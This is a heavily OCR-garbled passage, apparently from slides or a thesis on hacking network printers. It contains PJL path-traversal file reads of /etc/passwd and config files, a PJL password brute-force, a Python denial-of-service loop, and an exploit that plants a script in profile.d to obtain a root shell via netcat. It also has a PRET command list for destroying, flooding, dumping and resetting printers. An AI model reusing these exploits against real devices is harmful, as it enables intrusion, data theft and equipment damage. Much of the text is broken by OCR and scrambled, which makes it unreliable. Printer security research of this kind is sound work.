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Starting Nmap 7.01 ( https://nmap. ) at 2017-06-08 10:31 PDT
Nmap scan report for HPOAGBFE.westeros (192.168.1.158)

Host 1s up (0.014s latency).

Not shown: 994 closed ports
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(%%%. . /%)

{==}

(%disk®%. . /webServer/home/device.html)
(%disk@%. . /webServer/. java.login.config)
(%disk0%. . /webServer/config/soe.xml)

{0)
(../../../etc/passwd) (r)
{ {
(Bstdout) (w)

il
}

(test.txt) (w+)
(Hello )
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vold PJLsession::

char Ik
(( ' ] ();
[ ¥ “?ﬁu " 7 f .
, "%u", ; / JUNIX
();

{' ||\\r\n|| ' ;

("@PIL JOB PASSWORD=");

( );

{"\r\n@PJL DEFAULT PASSWORD=0 \r\n"};
{"@PIL EDJ\ri\n");
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connection.sendbuf.clea
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Starting Nmap 6.40 ( http: //nmap org. ) at 2015-07-15 02:27 CST
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3-11

Y PFT z W ~ PJL G A

pft> env bruteforce

try 30

INFO: force_recv_clear() timed out for 270bytes (10 sec)
Password disabled successfull
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PermStore
PostScript

PJL
saveDevice

FaxIn

Fax
FaxUpgrade
webServer
svcErr.log

U = S = Sy = W = B = WY = WY = Wi = W B o 8
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Ty < T K A 4 v 4 P
3 "y [ A "ie we oV [ A
pft>
syntax error (try help)
pft> get LOO6105.XML
3-14

3-15 bp A



A AlIE
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<entry id="DS008718" version="1">

<timestamp date="2015-07-09" time="12:17:11" zone="UNKNOWN"></timestamp>
<source mfp="192.168.0.253" service=""></source>

<job_info result="success" guid="">

<sender email="info@itm-spedition.de" authenticated="false" username=""

nos="" domain="" context="">HP LaserJet M4345</sender>
<scan_info page_count="1" size="a4"></scan_info>
<jobAcct_info jobAccti13="" jobAccti14="" jobAccti5="" jobAcctil16=""></

jobAcct_info>
<folder_info size="25.84 KILOBYTE" fileFormat="pdf"
colorSettings="grayscale" result="success">
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payload = "POST / HTTP/1.1\r\n"
payload += "Host: asdasdasd\r\n"

payload += "User-Ae&® M ' lasdasd\r\n"

Y ve-Insecure-Requestv 1\r\n"
payload += "Content-Type: application/x-www-form-urlencoded\r\n"
payload += “Content-Length: 42\r\n"
payload += "asdasdasdasdasdasdasd\r\n\r\n"
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while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((target,int(port)))
print "[*] Sending DOS payload”
s.send(payload)
s.recv(4096)
s.close()
except:
print(“[!] Can't connect to target"™)
sys.exit()
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') .encode('UTF-8'))

uf += s.recv(1)
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print('PoC OK!')
g return

except ValueError:
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: return
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vasawd"” OFFSET=0 SIZE=648

FSDOWNLOAD D 0 " ESCT YT w =y Netcat

i~ Q 0 H O T [We p PIL i
4 ) Q A

0:/ 0 ~0:/../../rw/var/etc/profile.d "~ profile.d

’ e - \ v S 2

0:/../../rw/var/etc/profile.d/ ../../var/etc/profile.d/ n - £y
b~ F 0/ b T v profile.d Q [
0:/../../rw/var/etc/profile.d/ ../../var/etc/profile.d/ A

albinolobster@ubuntu:~% nc 152.168.1.158 5100

RPJL FSDIRLIST NALM f f 'rw/var/et ENTRY=1 COUNT=1024
BEPJL FSDIRLIST MAME=" o =] ~ofi . d/f ENTRY=1

.sig/ TYPE=DIR

@EJL FSDIRLIST NAM
@PJL FSDIRLIST MAME=
.sig/ TYPE=DIR

Q  Python 0 H o |
0:/../../rw/var/etc/profile.d/writing_ test o T~

N



7 Ml

[ip] [port]lin’

albinolobsterfubuntu:-

connecting to 152.168

[211)

address

$ python write test.
.1.158 port 5100

albinolobster@ubuntus:~

@PJL FSDIRLIST MAME=
@PJL FSDIRLIST MAME="
.s1g/ TYPE=DIE

o/ pwned ]
‘pwned

cat /tmp/pwned | /

i shell, '

albinolobsterBubuntu:~$
connecting to

RPJL FS

Done! Try
albinolobsterfubuntu:~

whoami

root

ENTEY=
ENTEY=1

W W@ [ 1270 o  shell

; then

bin/sh

python printer exploit.py 19%2.1
rofile.d/lel.sh" TYPE=FILE

92.168.1.158 1270

7 QFJWa profile.d T Q~ ;
exploit

3 H



Ml {=

import =
import s

from eas: i snmp_set

wned 1; then\n'

+ str(len(profile_d_.

while True:

print response
snmp_set (" 3 ‘integer', hostname='192.1 > i version=1)
print "Done! i -

t [ e\ o T™ y - n A y PJL

v}
v}
C
w
£
23|
>






x (=
4 n Ne T
5.2.4 vy L
i~ ~ v W L, ~ Ty
G a < P Y N T
C Ne A
5.2.5 2 n
p™H -~ "y < W N v W D
I ~ Printer Exploitation Toolkit PRET” W @ [
G Python 0~ h B i\ H H” )
UNIX D~ PRETw i w PostScript PO [ N T
A 7y ° T PostScript PJL PCLT '\ w
A
5 T 1 ER F 1T Ne Do - G
A A
7 D [
T ——
\\' D TCP while true; do nc printer 9100; done
PS PRET o : disable, hang
\l o]
F PJL PRET D : disable, offline
PS PRET D : destroy
PJL PRET D : destroy
SNMP snmpset -vl -c  public printer
1.3.6.1.2.1.43.5.1.1.3.11 6
FA
I PML PRET D : reset
PS PRET D : reset
M TCP [~ " vk




-,

X (=
4 n Ne T
IPP Y M
PS PostScript 7 i F
c?
PJL PRET D' pagecount
P PJL PRET D" nvram dump
PS PRET 9" fuzZ Is get put
H ° PJL PRET ©' fuzZ Is get put
PS PRET ©° 1locK unlock
¢ PJL PRET ©° 1locK unlock
PJL PRET o' flood
9 v % LPD ./lpdtest.py printer in "“python -c
"print "x"*3000"""
5.3
5.3.1 n
G i b H n o H n
Y 2 A D A ) n )
N\ g 3 A
5.3.2av |
[ n v n )
M 3 i A A i W Av
n [ 3b G n A
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Ne

5.3.33

HTTP

n

“dab’



